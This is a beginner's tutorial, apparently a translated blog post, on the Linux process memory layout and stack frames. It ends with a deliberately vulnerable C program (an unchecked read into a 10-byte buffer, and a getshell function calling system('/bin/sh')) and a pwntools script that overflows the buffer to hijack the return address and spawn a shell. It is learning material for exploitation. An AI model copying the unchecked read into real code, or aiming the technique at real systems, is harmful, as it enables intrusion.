Stack position in memory
Operating system kernel
Stack area: the place where local variables are stored during program operation
Grow down (high – > low)
Shared library mapping area: when a program is dynamically linked, its dependent libraries will be mapped to this area
Heap area: malloc or new applies for new space, which will be allocated from the heap area
Upward growth (from low to high)
Read / write area: it is used to map the data segment and bss segment, that is, the place where the global static variables of the program are stored
Read only area: the area that maps ELF files test (some have x) (the segment where the program execution flow is located)
Unused places:
Write a simple function on kali to output the process number test c
#include <stdio.h> #include <unistd.h> int main() { printf("pid: %d\n",getpid()); getchar(); // Don't let it end quickly return 0; }
Compile run
cat /proc/PID/maps
View how the process's virtual address space is used
(root💀kali)-[/home/ckyl/desktop] └─# cat /proc/1346/maps 08048000-08049000 r--p 00000000 08:08 129605 /home/ckyl/desktop/test 08049000-0804a000 r-xp 00001000 08:08 129605 /home/ckyl/desktop/test 0804a000-0804b000 r--p 00002000 08:08 129605 /home/ckyl/desktop/test 0804b000-0804c000 r--p 00002000 08:08 129605 /home/ckyl/desktop/test 0804c000-0804d000 rw-p 00003000 08:08 129605 /home/ckyl/desktop/test 08b36000-08b58000 rw-p 00000000 00:00 0 [heap] f7da5000-f7dc2000 r--p 00000000 08:01 149971 /usr/lib/i386-linux-gnu/libc-2.31.so f7dc2000-f7f17000 r-xp 0001d000 08:01 149971 /usr/lib/i386-linux-gnu/libc-2.31.so f7f17000-f7f87000 r--p 00172000 08:01 149971 /usr/lib/i386-linux-gnu/libc-2.31.so f7f87000-f7f88000 ---p 001e2000 08:01 149971 /usr/lib/i386-linux-gnu/libc-2.31.so f7f88000-f7f8a000 r--p 001e2000 08:01 149971 /usr/lib/i386-linux-gnu/libc-2.31.so f7f8a000-f7f8c000 rw-p 001e4000 08:01 149971 /usr/lib/i386-linux-gnu/libc-2.31.so f7f8c000-f7f8e000 rw-p 00000000 00:00 0 f7fa6000-f7fa8000 rw-p 00000000 00:00 0 f7fa8000-f7fac000 r--p 00000000 00:00 0 [vvar] f7fac000-f7fae000 r-xp 00000000 00:00 0 [vdso] f7fae000-f7faf000 r--p 00000000 08:01 149967 /usr/lib/i386-linux-gnu/ld-2.31.so f7faf000-f7fcc000 r-xp 00001000 08:01 149967 /usr/lib/i386-linux-gnu/ld-2.31.so f7fcc000-f7fd7000 r--p 0001e000 08:01 149967 /usr/lib/i386-linux-gnu/ld-2.31.so f7fd8000-f7fd9000 r--p 00029000 08:01 149967 /usr/lib/i386-linux-gnu/ld-2.31.so f7fd9000-f7fda000 rw-p 0002a000 08:01 149967 /usr/lib/i386-linux-gnu/ld-2.31.so ffa1d000-ffa3e000 rw-p 00000000 00:00 0 [stack]
ps: the picture is from high to low
The address in maps is from low to high
Implementation of function call on stack
The above figure explains the procedure on the stack of function calls with the procedure of eax ebx numerical exchange
Stack:
Grow down (high – > low)
Basic operation of stack:
Push stack push (-value) mov
Pop pop stack mov pop esp+value
Nothing else, just a whim to upload a pleasing picture
Stack frame
Take add as an example to explain the stack frame
Big brother main
add(1, 2) little brother
1. To pocket: apply for register esp++
2. Keepsake: parameters – > mainstack pressing esp + + (add later and use ebp to access)
3.add return address: return address esp++
4.ebp go: ebp pushes the things of the last function onto the old ebp esp++
5.ebp is coming: at this time, ebp goes with ESP (and ebp points to the old ebp help function, which will return later)
6. Do tasks together: ebp guarding the home (access parameter + value), esp exploring the way
Let's listen to this brother's class: https://www.bilibili.com/video/BV1U7411z7Ki?t=432&p=2
Write your own function, compile it and pull it to IDA for analysis
int add(int a,int b) { return a+b; } void myadd() { int c=1,d=2; add(c,d); } int main() { myadd(); }
Write a stack overflow
#include <stdlib.h> #include <unistd.h> void myread() { char s[10]; //local variable read(0,s,50); //Overlay high address } void getshell() { system("/bin/sh"); //Get shell directly } int main() { myread(); return 0; }
How to hijack the execution flow of the program to the getshell function only by calling the myread function???
Compile to generate executable
gcc -m32 -no-pie stack_overflow.c -o stack
Execution/ stack
Input long characters, error, segment error
raed 10+4+getshell address
thus
To exit the myread function, execute retn
Return directly to the getshell function
Pull to IDA to see s – ebp how far?!
myread function F5 disassembly
char buf[14]; // [esp+6h] [ebp-12h] BYREF
0x12 – > 18 bytes
payload= 'a' * (18+4) + getshell address
thus
To exit the myread function, execute retn
Return directly to the getshell function
from pwn import * #pwntools sh = process("stack") #Run up getshell = 0x804919E #The getshell address can be viewed in IDA payload = b'a' * (18+4) +p32(getshell) #Note b and P32 (convert to 32-bit segment order) sh.sendline(payload) #transmit sh.interactive() #Switch to interactive mode
python3 epx.py
Through the first stack overflow in my life
All the above are for reference https://www.bilibili.com/video/BV1U7411z7Ki?t=432&p=2